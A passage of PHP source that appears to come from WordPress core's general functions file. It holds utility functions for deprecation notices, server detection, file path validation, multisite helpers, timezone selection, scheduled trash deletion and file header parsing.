* @param bool $trigger Whether to trigger deprecated hook errors. Requires
* `WP_DEBUG` to be defined true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( ! is_null( $replacement ) ) {
/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
} else {
/* translators: 1: WordPress hook name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
}
}
}
/**
* Mark something as being incorrectly called.
*
* There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* @since 3.1.0
* @access private
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
function _doing_it_wrong( $function, $message, $version ) {
/**
* Fires when the given function is being used incorrectly.
*
* @since 3.1.0
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
do_action( 'doing_it_wrong_run', $function, $message, $version );
/**
* Filters whether to trigger an error for _doing_it_wrong() calls.
*
* @since 3.1.0
*
* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
*/
if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( is_null( $version ) ) {
$version = '';
} else {
/* translators: %s: version number */
$version = sprintf( __( '(This message was added in version %s.)' ), $version );
}
/* translators: %s: Codex URL */
$message .= ' ' . sprintf( __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
__( 'https://codex.wordpress.org/Debugging_in_WordPress' )
);
/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
} else {
if ( is_null( $version ) ) {
$version = '';
} else {
$version = sprintf( '(This message was added in version %s.)', $version );
}
$message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.',
'https://codex.wordpress.org/Debugging_in_WordPress'
);
trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
}
}
}
/**
* Is the server running earlier than 1.5.0 version of lighttpd?
*
* @since 2.5.0
*
* @return bool Whether the server is running lighttpd < 1.5.0.
*/
function is_lighttpd_before_150() {
$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' );
$server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : '';
return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
}
/**
* Does the specified module exist in the Apache config?
*
* @since 2.5.0
*
* @global bool $is_apache
*
* @param string $mod The module, e.g. mod_rewrite.
* @param bool $default Optional. The default return value if the module is not found. Default false.
* @return bool Whether the specified module is loaded.
*/
function apache_mod_loaded($mod, $default = false) {
global $is_apache;
if ( !$is_apache )
return false;
if ( function_exists( 'apache_get_modules' ) ) {
$mods = apache_get_modules();
if ( in_array($mod, $mods) )
return true;
} elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) {
ob_start();
phpinfo(8);
$phpinfo = ob_get_clean();
if ( false !== strpos($phpinfo, $mod) )
return true;
}
return $default;
}
/**
* Check if IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @global bool $is_iis7
*
* @return bool Whether IIS7 supports permalinks.
*/
function iis7_supports_permalinks() {
global $is_iis7;
$supports_permalinks = false;
if ( $is_iis7 ) {
/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
* easily update the xml configuration file, hence we just bail out and tell user that
* pretty permalinks cannot be used.
*
* Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When
* URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
* Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
* via ISAPI then pretty permalinks will not work.
*/
$supports_permalinks = class_exists( 'DOMDocument', false ) && isset($_SERVER['IIS_UrlRewriteModule']) && ( PHP_SAPI == 'cgi-fcgi' );
}
/**
* Filters whether IIS 7+ supports pretty permalinks.
*
* @since 2.8.0
*
* @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
*/
return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}
/**
* Validates a file name and path against an allowed set of rules.
*
* A return value of `1` means the file path contains directory traversal.
*
* A return value of `2` means the file path contains a Windows drive path.
*
* A return value of `3` means the file is not in the allowed files list.
*
* @since 1.2.0
*
* @param string $file File path.
* @param array $allowed_files Optional. List of allowed files.
* @return int 0 means nothing is wrong, greater than 0 means something was wrong.
*/
function validate_file( $file, $allowed_files = array() ) {
// `../` on its own is not allowed:
if ( '../' === $file ) {
return 1;
}
// More than one occurence of `../` is not allowed:
if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
return 1;
}
// `../` which does not occur at the end of the path is not allowed:
if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
return 1;
}
// Files not in the allowed file list are not allowed:
if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files ) )
return 3;
// Absolute Windows drive paths are not allowed:
if (':' == substr( $file, 1, 1 ) )
return 2;
return 0;
}
/**
* Whether to force SSL used for the Administration Screens.
*
* @since 2.6.0
*
* @staticvar bool $forced
*
* @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
* @return bool True if forced, false if not forced.
*/
function force_ssl_admin( $force = null ) {
static $forced = false;
if ( !is_null( $force ) ) {
$old_forced = $forced;
$forced = $force;
return $old_forced;
}
return $forced;
}
/**
* Guess the URL for the site.
*
* Will remove wp-admin links to retrieve only return URLs not in the wp-admin
* directory.
*
* @since 2.6.0
*
* @return string The guessed URL.
*/
function wp_guess_url() {
if ( defined('WP_SITEURL') && '' != WP_SITEURL ) {
$url = WP_SITEURL;
} else {
$abspath_fix = str_replace( '\\', '/', ABSPATH );
$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );
// The request is for the admin
if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) {
$path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] );
// The request is for a file in ABSPATH
} elseif ( $script_filename_dir . '/' == $abspath_fix ) {
// Strip off any file/query params in the path
$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );
} else {
if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
// Request is hitting a file inside ABSPATH
$directory = str_replace( ABSPATH, '', $script_filename_dir );
// Strip off the sub directory, and any file/query params
$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] );
} elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) {
// Request is hitting a file above ABSPATH
$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
// Strip off any file/query params from the path, appending the sub directory to the installation
$path = preg_replace( '#/[^/]*$#i', '' , $_SERVER['REQUEST_URI'] ) . $subdirectory;
} else {
$path = $_SERVER['REQUEST_URI'];
}
}
$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet
$url = $schema . $_SERVER['HTTP_HOST'] . $path;
}
return rtrim($url, '/');
}
/**
* Temporarily suspend cache additions.
*
* Stops more data being added to the cache, but still allows cache retrieval.
* This is useful for actions, such as imports, when a lot of data would otherwise
* be almost uselessly added to the cache.
*
* Suspension lasts for a single page load at most. Remember to call this
* function again if you wish to re-enable cache adds earlier.
*
* @since 3.3.0
*
* @staticvar bool $_suspend
*
* @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
* @return bool The current suspend setting
*/
function wp_suspend_cache_addition( $suspend = null ) {
static $_suspend = false;
if ( is_bool( $suspend ) )
$_suspend = $suspend;
return $_suspend;
}
/**
* Suspend cache invalidation.
*
* Turns cache invalidation on and off. Useful during imports where you don't want to do
* invalidations every time a post is inserted. Callers must be sure that what they are
* doing won't lead to an inconsistent cache when invalidation is suspended.
*
* @since 2.7.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
* @return bool The current suspend setting.
*/
function wp_suspend_cache_invalidation( $suspend = true ) {
global $_wp_suspend_cache_invalidation;
$current_suspend = $_wp_suspend_cache_invalidation;
$_wp_suspend_cache_invalidation = $suspend;
return $current_suspend;
}
/**
* Determine whether a site is the main site of the current network.
*
* @since 3.0.0
* @since 4.9.0 The $network_id parameter has been added.
*
* @param int $site_id Optional. Site ID to test. Defaults to current site.
* @param int $network_id Optional. Network ID of the network to check for.
* Defaults to current network.
* @return bool True if $site_id is the main site of the network, or if not
* running Multisite.
*/
function is_main_site( $site_id = null, $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
$site_id = (int) $site_id;
return $site_id === get_main_site_id( $network_id );
}
/**
* Gets the main site ID.
*
* @since 4.9.0
*
* @param int $network_id Optional. The ID of the network for which to get the main site.
* Defaults to the current network.
* @return int The ID of the main site.
*/
function get_main_site_id( $network_id = null ) {
if ( ! is_multisite() ) {
return get_current_blog_id();
}
$network = get_network( $network_id );
if ( ! $network ) {
return 0;
}
return $network->site_id;
}
/**
* Determine whether a network is the main network of the Multisite installation.
*
* @since 3.7.0
*
* @param int $network_id Optional. Network ID to test. Defaults to current network.
* @return bool True if $network_id is the main network, or if not running Multisite.
*/
function is_main_network( $network_id = null ) {
if ( ! is_multisite() ) {
return true;
}
if ( null === $network_id ) {
$network_id = get_current_network_id();
}
$network_id = (int) $network_id;
return ( $network_id === get_main_network_id() );
}
/**
* Get the main network ID.
*
* @since 4.3.0
*
* @return int The ID of the main network.
*/
function get_main_network_id() {
if ( ! is_multisite() ) {
return 1;
}
$current_network = get_network();
if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
$main_network_id = PRIMARY_NETWORK_ID;
} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
// If the current network has an ID of 1, assume it is the main network.
$main_network_id = 1;
} else {
$_networks = get_networks( array( 'fields' => 'ids', 'number' => 1 ) );
$main_network_id = array_shift( $_networks );
}
/**
* Filters the main network ID.
*
* @since 4.3.0
*
* @param int $main_network_id The ID of the main network.
*/
return (int) apply_filters( 'get_main_network_id', $main_network_id );
}
/**
* Determine whether global terms are enabled.
*
* @since 3.0.0
*
* @staticvar bool $global_terms
*
* @return bool True if multisite and global terms enabled.
*/
function global_terms_enabled() {
if ( ! is_multisite() )
return false;
static $global_terms = null;
if ( is_null( $global_terms ) ) {
/**
* Filters whether global terms are enabled.
*
* Passing a non-null value to the filter will effectively short-circuit the function,
* returning the value of the 'global_terms_enabled' site option instead.
*
* @since 3.0.0
*
* @param null $enabled Whether global terms are enabled.
*/
$filter = apply_filters( 'global_terms_enabled', null );
if ( ! is_null( $filter ) )
$global_terms = (bool) $filter;
else
$global_terms = (bool) get_site_option( 'global_terms_enabled', false );
}
return $global_terms;
}
/**
* gmt_offset modification for smart timezone handling.
*
* Overrides the gmt_offset option if we have a timezone_string available.
*
* @since 2.8.0
*
* @return float|false Timezone GMT offset, false otherwise.
*/
function wp_timezone_override_offset() {
if ( !$timezone_string = get_option( 'timezone_string' ) ) {
return false;
}
$timezone_object = timezone_open( $timezone_string );
$datetime_object = date_create();
if ( false === $timezone_object || false === $datetime_object ) {
return false;
}
return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}
/**
* Sort-helper for timezones.
*
* @since 2.9.0
* @access private
*
* @param array $a
* @param array $b
* @return int
*/
function _wp_timezone_choice_usort_callback( $a, $b ) {
// Don't use translated versions of Etc
if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
// Make the order of these more like the old dropdown
if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
}
if ( 'UTC' === $a['city'] ) {
if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) {
return 1;
}
return -1;
}
if ( 'UTC' === $b['city'] ) {
if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) {
return -1;
}
return 1;
}
return strnatcasecmp( $a['city'], $b['city'] );
}
if ( $a['t_continent'] == $b['t_continent'] ) {
if ( $a['t_city'] == $b['t_city'] ) {
return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] );
}
return strnatcasecmp( $a['t_city'], $b['t_city'] );
} else {
// Force Etc to the bottom of the list
if ( 'Etc' === $a['continent'] ) {
return 1;
}
if ( 'Etc' === $b['continent'] ) {
return -1;
}
return strnatcasecmp( $a['t_continent'], $b['t_continent'] );
}
}
/**
* Gives a nicely-formatted list of timezone strings.
*
* @since 2.9.0
* @since 4.7.0 Added the `$locale` parameter.
*
* @staticvar bool $mo_loaded
* @staticvar string $locale_loaded
*
* @param string $selected_zone Selected timezone.
* @param string $locale Optional. Locale to load the timezones in. Default current site locale.
* @return string
*/
function wp_timezone_choice( $selected_zone, $locale = null ) {
static $mo_loaded = false, $locale_loaded = null;
$continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific');
// Load translations for continents and cities.
if ( ! $mo_loaded || $locale !== $locale_loaded ) {
$locale_loaded = $locale ? $locale : get_locale();
$mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo';
unload_textdomain( 'continents-cities' );
load_textdomain( 'continents-cities', $mofile );
$mo_loaded = true;
}
$zonen = array();
foreach ( timezone_identifiers_list() as $zone ) {
$zone = explode( '/', $zone );
if ( !in_array( $zone[0], $continents ) ) {
continue;
}
// This determines what gets set and translated - we don't translate Etc/* strings here, they are done later
$exists = array(
0 => ( isset( $zone[0] ) && $zone[0] ),
1 => ( isset( $zone[1] ) && $zone[1] ),
2 => ( isset( $zone[2] ) && $zone[2] ),
);
$exists[3] = ( $exists[0] && 'Etc' !== $zone[0] );
$exists[4] = ( $exists[1] && $exists[3] );
$exists[5] = ( $exists[2] && $exists[3] );
$zonen[] = array(
'continent' => ( $exists[0] ? $zone[0] : '' ),
'city' => ( $exists[1] ? $zone[1] : '' ),
'subcity' => ( $exists[2] ? $zone[2] : '' ),
't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ),
't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ),
't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' )
);
}
usort( $zonen, '_wp_timezone_choice_usort_callback' );
$structure = array();
if ( empty( $selected_zone ) ) {
$structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>';
}
foreach ( $zonen as $key => $zone ) {
// Build value in an array to join later
$value = array( $zone['continent'] );
if ( empty( $zone['city'] ) ) {
// It's at the continent level (generally won't happen)
$display = $zone['t_continent'];
} else {
// It's inside a continent group
// Continent optgroup
if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) {
$label = $zone['t_continent'];
$structure[] = '<optgroup label="'. esc_attr( $label ) .'">';
}
// Add the city to the value
$value[] = $zone['city'];
$display = $zone['t_city'];
if ( !empty( $zone['subcity'] ) ) {
// Add the subcity to the value
$value[] = $zone['subcity'];
$display .= ' - ' . $zone['t_subcity'];
}
}
// Build the value
$value = join( '/', $value );
$selected = '';
if ( $value === $selected_zone ) {
$selected = 'selected="selected" ';
}
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . "</option>";
// Close continent optgroup
if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) {
$structure[] = '</optgroup>';
}
}
// Do UTC
$structure[] = '<optgroup label="'. esc_attr__( 'UTC' ) .'">';
$selected = '';
if ( 'UTC' === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __('UTC') . '</option>';
$structure[] = '</optgroup>';
// Do manual UTC offsets
$structure[] = '<optgroup label="'. esc_attr__( 'Manual Offsets' ) .'">';
$offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5,
0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14);
foreach ( $offset_range as $offset ) {
if ( 0 <= $offset )
$offset_name = '+' . $offset;
else
$offset_name = (string) $offset;
$offset_value = $offset_name;
$offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name);
$offset_name = 'UTC' . $offset_name;
$offset_value = 'UTC' . $offset_value;
$selected = '';
if ( $offset_value === $selected_zone )
$selected = 'selected="selected" ';
$structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . "</option>";
}
$structure[] = '</optgroup>';
return join( "\n", $structure );
}
/**
* Strip close comment and close php tags from file headers used by WP.
*
* @since 2.8.0
* @access private
*
* @see https://core.trac.wordpress.org/ticket/8497
*
* @param string $str Header comment to clean up.
* @return string
*/
function _cleanup_header_comment( $str ) {
return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str));
}
/**
* Permanently delete comments or posts of any type that have held a status
* of 'trash' for the number of days defined in EMPTY_TRASH_DAYS.
*
* The default value of `EMPTY_TRASH_DAYS` is 30 (days).
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function wp_scheduled_delete() {
global $wpdb;
$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
$posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $posts_to_delete as $post ) {
$post_id = (int) $post['post_id'];
if ( !$post_id )
continue;
$del_post = get_post($post_id);
if ( !$del_post || 'trash' != $del_post->post_status ) {
delete_post_meta($post_id, '_wp_trash_meta_status');
delete_post_meta($post_id, '_wp_trash_meta_time');
} else {
wp_delete_post($post_id);
}
}
$comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp), ARRAY_A);
foreach ( (array) $comments_to_delete as $comment ) {
$comment_id = (int) $comment['comment_id'];
if ( !$comment_id )
continue;
$del_comment = get_comment($comment_id);
if ( !$del_comment || 'trash' != $del_comment->comment_approved ) {
delete_comment_meta($comment_id, '_wp_trash_meta_time');
delete_comment_meta($comment_id, '_wp_trash_meta_status');
} else {
wp_delete_comment( $del_comment );
}
}
}
/**
* Retrieve metadata from a file.
*
* Searches for metadata in the first 8kiB of a file, such as a plugin or theme.
* Each piece of metadata must be on its own line. Fields can not span multiple
* lines, the value will get cut at the end of the first line.
*
* If the file data is not within that first 8kiB, then the author should correct
* their plugin file and move the data headers to the top.
*
* @link https://codex.wordpress.org/File_Header
*
* @since 2.9.0
*
* @param string $file Path to the file.
* @param array $default_headers List of headers, in the format array('HeaderKey' => 'Header Name').
* @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
* Default empty.
* @return array Array of file headers in `HeaderKey => Header Value` format.
*/
function get_file_data( $file, $default_headers, $context = '' ) {
// We don't need to write to the file, so just open for reading.
$fp = fopen( $file, 'r' );
// Pull only the first 8kiB of the file in.
$file_data = fread( $fp, 8192 );
// PHP will close file handle, but we are good citizens.
fclose( $fp );
// Make sure we catch CR-only line endings.
$file_data = str_replace( "\r", "\n", $file_data );
/**
* Filters extra file headers by context.
*
* The dynamic portion of the hook name, `$context`, refers to
* the context where extra headers might be loaded.
*
* @since 2.9.0
*
* @param array $extra_context_headers Empty array by default.
*/
if ( $context && $extra_headers = apply_filters( "extra_{$context}_headers", array() ) ) {
$extra_headers = array_combine( $extra_headers, $extra_headers ); // keys equal values
$all_headers = array_merge( $extra_headers, (array) $default_headers );
} else {
$all_headers = $default_headers;
}
foreach ( $all_headers as $field => $regex ) {
if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] )
$all_headers[ $field ] = _cleanup_header_comment( $match[1] );
else
$all_headers[ $field ] = '';
}
return $all_headers;
}
/**
* Returns true.
*
* Useful for returning true to filters easily.
*
* @since 3.0.0
*
* @see __return_false()
*
* @return true True.
*/
function __return_true() {
return true;
}
/**
* Returns false.
*
* Useful for returning false to filters easily.
*
* @since 3.0.0
*
* @see __return_true()
*
* @return false False.
*/
function __return_false() {
return false;
}
/**
* Returns 0.
*
* Useful for returning 0 to filters easily.
*
* @since 3.0.0
*
* @return int 0.
*/
function __return_zero() {
return 0;
}
/**
* Returns an empty array.
*
* Useful for returning an empty array to filters easily.
*
* @since 3.0.0
*
* @return array Empty array.
*/
function __return_empty_array() {
return array();
}
/**
* Returns null.
*
* Useful for returning null to filters easily.
*
* @since 3.4.0
*
* @return null Null value.
*/
function __return_null() {
return null;
}
/**
* Returns an empty string.
*
* Useful for returning an empty string to filters easily.
*
* @since 3.7.0
*
* @see __return_null()
*
* @return string Empty string.
*/
function __return_empty_string() {
return '';
}
/**
* Send a HTTP header to disable content type sniffing in browsers which support it.
*
* @since 3.0.0
*
* @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
* @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
*/
function send_nosniff_header() {
@header( 'X-Content-Type-Options: nosniff' );
}
/**
* Return a MySQL expression for selecting the week number based on the start_of_week option.
*
* @ignore
* @since 3.0.0
*
* @param string $column Database column.
* @return string SQL clause.
*/
function _wp_mysql_week( $column ) {
switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {
case 1 :
return "WEEK( $column, 1 )";
case 2 :
case 3 :
case 4 :
case 5 :
case 6 :
return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
case 0 :
default :
return "WEEK( $column, 0 )";
}
}
/**
* Find hierarchy loops using a callback function that maps object IDs to parent IDs.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
* Use null to always use $callback
* @param array $callback_args Optional. Additional arguments to send to $callback.
* @return array IDs of all members of loop.
*/
function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )
return array();
return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
}
/**
* Use the "The Tortoise and the Hare" algorithm to detect loops.
*
* For every step of the algorithm, the hare takes two steps and the tortoise one.
* If the hare ever laps the tortoise, there must be a loop.
*
* @since 3.1.0
* @access private
*
* @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
* @param int $start The ID to start the loop check at.
* @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
* Default empty array.
* @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
* @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
* to true if you already know the given $start is part of a loop (otherwise
* the returned array might include branches). Default false.
* @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
* $_return_loop
*/
function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
$tortoise = $hare = $evanescent_hare = $start;
$return = array();
// Set evanescent_hare to one past hare
// Increment hare two steps
while (
$tortoise
&&
( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
&&
( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
) {
if ( $_return_loop )
$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;
// tortoise got lapped - must be a loop
if ( $tortoise == $evanescent_hare || $tortoise == $hare )
return $_return_loop ? $return : $tortoise;
// Increment tortoise by one step
$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
}
return false;
}
/**
* Send a HTTP header to limit rendering of pages to same origin iframes.
*
* @since 3.1.3
*
* @see https://developer.mozilla.org/en/the_x-frame-options_response_header
*/
function send_frame_options_header() {
@header( 'X-Frame-Options: SAMEORIGIN' );
}
/**
* Retrieve a list of protocols to allow in HTML attributes.
*
* @since 3.3.0
* @since 4.3.0 Added 'webcal' to the protocols array.
* @since 4.7.0 Added 'urn' to the protocols array.
*
* @see wp_kses()
* @see esc_url()
*
* @staticvar array $protocols
*
* @return array Array of allowed protocols. Defaults to an array containing 'http', 'https',
* 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet',
* 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
*/
function wp_allowed_protocols() {
static $protocols = array();
if ( empty( $protocols ) ) {
$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
}
if ( ! did_action( 'wp_loaded' ) ) {
/**
* Filters the list of protocols allowed in HTML attributes.
*
* @since 3.0.0
*
* @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
*/
$protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
}
return $protocols;
}
/**
* Return a comma-separated string of functions that have been called to get
* to the current point in code.
*
* @since 3.4.0
*
* @see https://core.trac.wordpress.org/ticket/19589
*
* @param string $ignore_class Optional. A class to ignore all function calls within - useful
* when you want to just give info about the callee. Default null.
* @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
* back to the source of the issue. Default 0.
* @param bool $pretty Optional. Whether or not you want a comma separated string or raw
* array returned. Default true.
* @return string|array Either a string containing a reversed comma separated trace or an array
* of individual calls.
*/
function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )
$trace = debug_backtrace( false );
else
$trace = debug_backtrace();
$caller = array();
$check_class = ! is_null( $ignore_class );
$skip_frames++; // skip this function
foreach ( $trace as $call ) {
if ( $skip_frames > 0 ) {
$skip_frames--;
} elseif ( isset( $call['class'] ) ) {
if ( $check_class && $ignore_class == $call['class'] )
continue; // Filter out calls
$caller[] = "{$call['class']}{$call['type']}{$call['function']}";
} else {
if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {
$caller[] = "{$call['function']}('{$call['args'][0]}')";
} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {
$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";
} else {
$caller[] = $call['function'];
}
}
}
if ( $pretty )
return join( ', ', array_reverse( $caller ) );
else
return $caller;
}
/**
* Retrieve ids that are not already present in the cache.
*
* @since 3.4.0
* @access private
*
* @param array $object_ids ID list.
* @param string $cache_key The cache bucket to check against.
*
* @return array List of ids not present in the cache.
*/
function _get_non_cached_ids( $object_ids, $cache_key ) {
$clean = array();
foreach ( $object_ids as $id ) {
$id = (int) $id;
if ( !wp_cache_get( $id, $cache_key ) ) {
$clean[] = $id;
}
}
return $clean;
}
/**
* Test if the current device has the capability to upload files.
*
* @since 3.4.0
* @access private
*
* @return bool Whether the device is able to upload files.
*/
function _device_can_upload() {
if ( ! wp_is_mobile() )
return true;
$ua = $_SERVER['HTTP_USER_AGENT'];
if ( strpos($ua, 'iPhone') !== false
|| strpos($ua, 'iPad') !== false
|| strpos($ua, 'iPod') !== false ) {
return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
}
return true;
}
/**
* Test if a given path is a stream URL
*
* @since 3.5.0
*
* @param string $path The resource path or URL.
* @return bool True if the path is a stream URL.
*/
function wp_is_stream( $path ) {
if ( false === strpos( $path, '://' ) ) {
// $path isn't a stream
return false;
}
$wrappers = stream_get_wrappers();
$wrappers = array_map( 'preg_quote', $wrappers );
$wrappers_re = '(' . join( '|', $wrappers ) . ')';
return preg_match( "!^$wrappers_re://!", $path ) === 1;
}
/**
* Test if the supplied date is valid for the Gregorian calendar.
*
* @since 3.5.0
*
